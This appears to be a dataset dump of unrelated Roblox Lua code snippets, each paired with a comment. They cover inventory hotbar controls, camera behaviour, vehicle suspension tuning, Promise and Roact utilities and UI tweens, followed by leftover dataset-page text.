if hotbarSlot and hotbarSlot.Frame and (isInventoryScreen or hotbarSlot.Tool) then
hotbarSlot.Frame.Visible = visible
end
end
end
local function getInputDirection(inputObject)
local buttonModifier = 1
if inputObject.UserInputState == Enum.UserInputState.End then
buttonModifier = -1
end
if inputObject.KeyCode == Enum.KeyCode.Thumbstick1 then
local magnitude = inputObject.Position.magnitude
if magnitude > 0.98 then
local normalizedVector = Vector2.new(inputObject.Position.x / magnitude, -inputObject.Position.y / magnitude)
selectDirection = normalizedVector
else
selectDirection = Vector2.new(0,0)
end
elseif inputObject.KeyCode == Enum.KeyCode.DPadLeft then
selectDirection = Vector2.new(selectDirection.x - 1 * buttonModifier, selectDirection.y)
elseif inputObject.KeyCode == Enum.KeyCode.DPadRight then
selectDirection = Vector2.new(selectDirection.x + 1 * buttonModifier, selectDirection.y)
elseif inputObject.KeyCode == Enum.KeyCode.DPadUp then
selectDirection = Vector2.new(selectDirection.x, selectDirection.y - 1 * buttonModifier)
elseif inputObject.KeyCode == Enum.KeyCode.DPadDown then
selectDirection = Vector2.new(selectDirection.x, selectDirection.y + 1 * buttonModifier)
else
selectDirection = Vector2.new(0,0)
end
return selectDirection
end
local selectToolExperiment = function(actionName, inputState, inputObject)
local inputDirection = getInputDirection(inputObject)
if inputDirection == Vector2.new(0,0) then
return
end
local angle = math.atan2(inputDirection.y, inputDirection.x) - math.atan2(-1, 0)
if angle < 0 then
angle = angle + (math.pi * 2)
end
local quarterPi = (math.pi * 0.25)
local index = (angle/quarterPi) + 1
index = math.floor(index + 0.5) -- round index to whole number
if index > NumberOfHotbarSlots then
index = 1
end
if index > 0 then
local selectedSlot = Slots[index]
if selectedSlot and selectedSlot.Tool and not selectedSlot:IsEquipped() then
selectedSlot:Select()
end
else
UnequipAllTools()
end
end
changeToolFunc = function(actionName, inputState, inputObject)
if inputState ~= Enum.UserInputState.Begin then return end
if lastChangeToolInputObject then
if (lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonR1 and
inputObject.KeyCode == Enum.KeyCode.ButtonL1) or
(lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonL1 and
inputObject.KeyCode == Enum.KeyCode.ButtonR1) then
if (tick() - lastChangeToolInputTime) <= maxEquipDeltaTime then
UnequipAllTools()
lastChangeToolInputObject = inputObject
lastChangeToolInputTime = tick()
return
end
end
end
lastChangeToolInputObject = inputObject
lastChangeToolInputTime = tick()
delay(maxEquipDeltaTime, function()
if lastChangeToolInputObject ~= inputObject then return end
local moveDirection = 0
if (inputObject.KeyCode == Enum.KeyCode.ButtonL1) then
moveDirection = -1
else
moveDirection = 1
end
for i = 1, NumberOfHotbarSlots do
local hotbarSlot = Slots[i]
if hotbarSlot:IsEquipped() then
local newSlotPosition = moveDirection + i
local hitEdge = false
if newSlotPosition > NumberOfHotbarSlots then
newSlotPosition = 1
hitEdge = true
elseif newSlotPosition < 1 then
newSlotPosition = NumberOfHotbarSlots
hitEdge = true
end
local origNewSlotPos = newSlotPosition
while not Slots[newSlotPosition].Tool do
newSlotPosition = newSlotPosition + moveDirection
if newSlotPosition == origNewSlotPos then return end
if newSlotPosition > NumberOfHotbarSlots then
newSlotPosition = 1
hitEdge = true
elseif newSlotPosition < 1 then
newSlotPosition = NumberOfHotbarSlots
hitEdge = true
end
end
if hitEdge then
UnequipAllTools()
lastEquippedSlot = nil
else
Slots[newSlotPosition]:Select()
end
return
end
end
if lastEquippedSlot and lastEquippedSlot.Tool then
lastEquippedSlot:Select()
return
end
local startIndex = moveDirection == -1 and NumberOfHotbarSlots or 1
local endIndex = moveDirection == -1 and 1 or NumberOfHotbarSlots
for i = startIndex, endIndex, moveDirection do
if Slots[i].Tool then
Slots[i]:Select()
return
end
end
end)
end
function getGamepadSwapSlot()
for i = 1, #Slots do
if Slots[i].Frame.BorderSizePixel > 0 then
return Slots[i]
end
end
end
function changeSlot(slot)
local swapInVr = not VRService.VREnabled or InventoryFrame.Visible
if slot.Frame == GuiService.SelectedObject and swapInVr then
local currentlySelectedSlot = getGamepadSwapSlot()
if currentlySelectedSlot then
currentlySelectedSlot.Frame.BorderSizePixel = 0
if currentlySelectedSlot ~= slot then
slot:Swap(currentlySelectedSlot)
VRInventorySelector.SelectionImageObject.Visible = false
if slot.Index > NumberOfHotbarSlots and not slot.Tool then
if GuiService.SelectedObject == slot.Frame then
GuiService.SelectedObject = currentlySelectedSlot.Frame
end
slot:Delete()
end
if currentlySelectedSlot.Index > NumberOfHotbarSlots and not currentlySelectedSlot.Tool then
if GuiService.SelectedObject == currentlySelectedSlot.Frame then
GuiService.SelectedObject = slot.Frame
end
currentlySelectedSlot:Delete()
end
end
else
local startSize = slot.Frame.Size
local startPosition = slot.Frame.Position
slot.Frame:TweenSizeAndPosition(startSize + UDim2.new(0, 10, 0, 10), startPosition - UDim2.new(0, 5, 0, 5), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .1, true, function() slot.Frame:TweenSizeAndPosition(startSize, startPosition, Enum.EasingDirection.In, Enum.EasingStyle.Quad, .1, true) end)
slot.Frame.BorderSizePixel = 3
VRInventorySelector.SelectionImageObject.Visible = true
end
else
slot:Select()
VRInventorySelector.SelectionImageObject.Visible = false
end
end
function vrMoveSlotToInventory()
if not VRService.VREnabled then
return
end
local currentlySelectedSlot = getGamepadSwapSlot()
if currentlySelectedSlot and currentlySelectedSlot.Tool then
currentlySelectedSlot.Frame.BorderSizePixel = 0
currentlySelectedSlot:MoveToInventory()
VRInventorySelector.SelectionImageObject.Visible = false
end
end
function enableGamepadInventoryControl()
local goBackOneLevel = function(actionName, inputState, inputObject)
if inputState ~= Enum.UserInputState.Begin then return end
local selectedSlot = getGamepadSwapSlot()
if selectedSlot then
local selectedSlot = getGamepadSwapSlot()
if selectedSlot then
selectedSlot.Frame.BorderSizePixel = 0
return
end
elseif InventoryFrame.Visible then
InventoryIcon:deselect()
end
end
ContextActionService:BindAction("RBXBackpackHasGamepadFocus", noOpFunc, false, Enum.UserInputType.Gamepad1)
ContextActionService:BindAction("RBXCloseInventory", goBackOneLevel, false, Enum.KeyCode.ButtonB, Enum.KeyCode.ButtonStart)
-- Gaze select will automatically select the object for us!
if not UseGazeSelection() then
GuiService.SelectedObject = HotbarFrame:FindFirstChild("1")
end
end
function disableGamepadInventoryControl()
unbindAllGamepadEquipActions()
for i = 1, NumberOfHotbarSlots do
local hotbarSlot = Slots[i]
if hotbarSlot and hotbarSlot.Frame then
hotbarSlot.Frame.BorderSizePixel = 0
end
end
if GuiService.SelectedObject and GuiService.SelectedObject:IsDescendantOf(MainFrame) then
GuiService.SelectedObject = nil
end
end
local function bindBackpackHotbarAction()
if WholeThingEnabled and not GamepadActionsBound then
GamepadActionsBound = true
ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1)
end
end
local function unbindBackpackHotbarAction()
disableGamepadInventoryControl()
GamepadActionsBound = false
ContextActionService:UnbindAction("RBXHotbarEquip")
end
function gamepadDisconnected()
GamepadEnabled = false
disableGamepadInventoryControl()
end
function gamepadConnected()
GamepadEnabled = true
GuiService:AddSelectionParent("RBXBackpackSelection", MainFrame)
if FullHotbarSlots >= 1 then
bindBackpackHotbarAction()
end
if InventoryFrame.Visible then
enableGamepadInventoryControl()
end
end
local function OnIconChanged(enabled)
-- Check for enabling/disabling the whole thing
enabled = enabled and StarterGui:GetCore("TopbarEnabled")
InventoryIcon:setEnabled(enabled and not GuiService.MenuIsOpen)
WholeThingEnabled = enabled
MainFrame.Visible = enabled
-- Eat/Release hotkeys (Doesn't affect UserInputService)
for _, keyString in pairs(HotkeyStrings) do
if enabled then
--GuiService:AddKey(keyString)
else
--GuiService:RemoveKey(keyString)
end
end
if enabled then
if FullHotbarSlots >=1 then
bindBackpackHotbarAction()
end
else
unbindBackpackHotbarAction()
end
end
local function MakeVRRoundButton(name, image)
local newButton = NewGui('ImageButton', name)
newButton.Size = UDim2.new(0, 40, 0, 40)
newButton.Image = "rbxasset://textures/ui/Keyboard/close_button_background.png";
local buttonIcon = NewGui('ImageLabel', 'Icon')
buttonIcon.Size = UDim2.new(0.5,0,0.5,0);
buttonIcon.Position = UDim2.new(0.25,0,0.25,0);
buttonIcon.Image = image;
buttonIcon.Parent = newButton;
local buttonSelectionObject = NewGui('ImageLabel', 'Selection')
buttonSelectionObject.Size = UDim2.new(0.9,0,0.9,0);
buttonSelectionObject.Position = UDim2.new(0.05,0,0.05,0);
buttonSelectionObject.Image = "rbxasset://textures/ui/Keyboard/close_button_selection.png";
newButton.SelectionImageObject = buttonSelectionObject
return newButton, buttonIcon, buttonSelectionObject
end
|
-- Define the function to open or close the window with gene-alike effect
|
local function toggleWindow()
if window.Visible then
-- Close the window by tweening back to the button position and size
window:TweenSizeAndPosition(
UDim2.new(0, 0, 0, 0),
UDim2.new(0, gClippslyButton.AbsolutePosition.X, 0, gClippslyButton.AbsolutePosition.Y),
'Out',
'Quad',
0.5,
false,
function()
window.Visible = false
end
)
else
-- Set the initial position of the window to be relative to the button
local startPos = UDim2.new(0, gClippslyButton.AbsolutePosition.X, 0, gClippslyButton.AbsolutePosition.Y)
window.Position = startPos
-- Set the initial size of the window to be zero
window.Size = UDim2.new(0, 0, 0, 0)
-- Show the window and tween its position and size from the button position and size to its original position and size
window.Visible = true
window:TweenSizeAndPosition(
UDim2.new(0.565, 0, 0.694, 0),
UDim2.new(0.218, 0, 0.133, 0),
'Out',
'Quad',
0.5
)
end
end
|
--Visiblity
|
uis = game:GetService("UserInputService")
ismobile = uis.TouchEnabled
button.Visible = ismobile
local states = {
OFF = "rbxasset://textures/ui/mouseLock_off@2x.png",
ON = "rbxasset://textures/ui/mouseLock_on@2x.png"
}
local MAX_LENGTH = 900000
local active = false
local ENABLED_OFFSET = CFrame.new(1.7, 0, 0)
local DISABLED_OFFSET = CFrame.new(-1.7, 0, 0)
local function UpdateImage(STATE)
button.Image = states[STATE]
end
local function GetUpdatedCameraCFrame(ROOT, CAMERA)
return CFrame.new(root.Position, Vector3.new(CAMERA.CFrame.LookVector.X * MAX_LENGTH, root.Position.Y, CAMERA.CFrame.LookVector.Z * MAX_LENGTH))
end
local function EnableShiftlock()
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
humanoid.AutoRotate = false
UpdateImage("ON")
if humanoid:GetState() ~= Enum.HumanoidStateType.PlatformStanding and humanoid:GetState() ~= Enum.HumanoidStateType.Swimming and humanoid.Health > 0 and Settings.Downed.Value == false and Settings.Ragdoll.Value == false then
root.CFrame = GetUpdatedCameraCFrame(root, camera)
camera.CFrame = camera.CFrame * ENABLED_OFFSET
else
end
end
local function DisableShiftlock()
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
humanoid.AutoRotate = true
UpdateImage("OFF")
camera.CFrame = camera.CFrame * DISABLED_OFFSET
pcall(function()
active:Disconnect()
active = nil
end)
end
UpdateImage("OFF")
active = false
function ShiftLock()
if not active then
active = runservice.RenderStepped:Connect(function()
EnableShiftlock()
end)
else
DisableShiftlock()
end
end
local ShiftLockButton = CAS:BindAction("ShiftLOCK", ShiftLock, false, "On")
CAS:SetPosition("ShiftLOCK", UDim2.new(0.8, 0, 0.8, 0))
button.MouseButton1Click:Connect(function()
if not active then
active = runservice.RenderStepped:Connect(function()
EnableShiftlock()
end)
else
DisableShiftlock()
end
end)
return MobileCameraFramework
|
-- emote bindable hook
|
if FFlagAnimateScriptEmoteHook then
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true
end
-- Return false to indicate that the emote could not be played
return false
end
end
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "13"
|
-- Start the shimmer
|
local function startShimmer()
shim:Play()
end
startShimmer()
|
--Front Suspension
|
Tune.FSusDamping = 15 -- Spring Dampening
Tune.FSusStiffness = 150 -- Spring Force
Tune.FAntiRoll = 1 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 5 -- Suspension length (in studs)
Tune.FPreCompress = 5 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .5 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
--[[Weight and CG]]
|
Tune.Weight = 3600 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[=[
Attaches an `andThen` handler to this Promise that discards the resolved value and returns the given value from it.
```lua
promise:andThenReturn("some", "values")
```
This is sugar for
```lua
promise:andThen(function()
return "some", "values"
end)
```
:::caution
Promises are eager, so if you pass a Promise to `andThenReturn`, it will begin executing before `andThenReturn` is reached in the chain. Likewise, if you pass a Promise created from [[Promise.reject]] into `andThenReturn`, it's possible that this will trigger the unhandled rejection warning. If you need to return a Promise, it's usually best practice to use [[Promise.andThen]].
:::
@param ... any -- Values to return from the function
@return Promise
]=]
|
function Promise.prototype:andThenReturn(...)
local length, values = pack(...)
return self:_andThen(debug.traceback(nil, 2), function()
return unpack(values, 1, length)
end)
end
|
-- Continuously compute a new body orientation to face the camera, and notify the server for replication
-- Intended to be used for the local player's character
|
function OrientableBody:useCameraAsSource()
local timeSinceLastSync = 0
self.renderStepConnection = RunService.RenderStepped:Connect(function(delta)
local camera = workspace.CurrentCamera
if not camera then
return
end
local orientation = self:face(camera.CFrame.LookVector)
timeSinceLastSync += delta
if timeSinceLastSync > Constants.SYNC_INTERVAL and orientation then
timeSinceLastSync %= Constants.SYNC_INTERVAL
updateBodyOrientation:FireServer(orientation)
end
end)
end
|
-- May return NaN or inf or -inf
|
local function findAngleBetweenXZVectors(vec2, vec1)
-- This is a way of finding the angle between the two vectors:
return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end
local function CreateFollowCamera()
local module = RootCameraCreator()
local tweenAcceleration = math.rad(220)
local tweenSpeed = math.rad(0)
local tweenMaxSpeed = math.rad(250)
local timeBeforeAutoRotate = 2
local lastUpdate = tick()
module.LastUserPanCamera = tick()
function module:Update()
local now = tick()
local userPanningTheCamera = (self.UserPanningTheCamera == true)
local camera = workspace.CurrentCamera
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera and camera.CameraSubject
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
if lastUpdate == nil or now - lastUpdate > 1 then
module:ResetCameraLook()
self.LastCameraTransform = nil
end
if lastUpdate then
-- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from
local delta = math.min(0.5, now - lastUpdate)
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.TurningLeft and -120 or 0)
angle = angle + (self.TurningRight and 120 or 0)
end
local gamepadRotation = self:UpdateGamepad()
if gamepadRotation ~= Vector2.new(0,0) then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + gamepadRotation
end
if angle ~= 0 then
userPanningTheCamera = true
self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
-- Reset tween speed if user is panning
if userPanningTheCamera then
tweenSpeed = 0
module.LastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraZoom()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetShiftLock() and not self:IsInFirstPerson() then
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75)
if IsFiniteVector3(offset) then
subjectPosition = subjectPosition + offset
end
else
if self.LastCameraTransform and not userPanningTheCamera then
local isInFirstPerson = self:IsInFirstPerson()
if (isClimbing or isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if IsFinite(y) then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
local timeDelta = (now - lastUpdate)
tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta)
local percent = clamp(0, 1, tweenSpeed * timeDelta)
if not isClimbing and self:IsInFirstPerson() then
percent = 1
end
local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook())
-- Check for NaN
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0)
end
end
elseif not (isInFirstPerson or userRecentlyPannedCamera) then
local lastVec = -(self.LastCameraTransform.p - subjectPosition)
local y = findAngleBetweenXZVectors(lastVec, self:GetCameraLook())
-- Check for NaNs
if IsFinite(y) and math.abs(y) > 0.0001 then
self.RotateInput = self.RotateInput + Vector2.new(y, 0)
end
end
end
end
local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput)
self.RotateInput = Vector2.new()
camera.Focus = CFrame.new(subjectPosition)
camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p)
self.LastCameraTransform = camera.CoordinateFrame
if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then
self.LastSubjectCFrame = cameraSubject.CFrame
else
self.LastSubjectCFrame = nil
end
end
lastUpdate = now
end
return module
end
return CreateFollowCamera
|
--[[
A ref is nothing more than a binding with a special field 'current'
that maps to the getValue method of the binding
]]
|
local Binding = require(script.Parent.Binding)
local function createRef()
local binding, _ = Binding.create(nil)
local ref = {}
--[[
A ref is just redirected to a binding via its metatable
]]
setmetatable(ref, {
__index = function(self, key)
if key == "current" then
return binding:getValue()
else
return binding[key]
end
end,
__newindex = function(self, key, value)
if key == "current" then
error("Cannot assign to the 'current' property of refs", 2)
end
binding[key] = value
end,
__tostring = function(self)
return ("RoactRef(%s)"):format(tostring(binding:getValue()))
end,
})
return ref
end
return createRef
|
-- Event Bindings
|
DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission)
|
--[[**
ensures Roblox NumberSequence type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.NumberSequence = primitive("NumberSequence")
|
--// Todo:
--// Window frame support for fullscreen/scale (pseudo-scale)
--// Optimize/fix some stuff
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.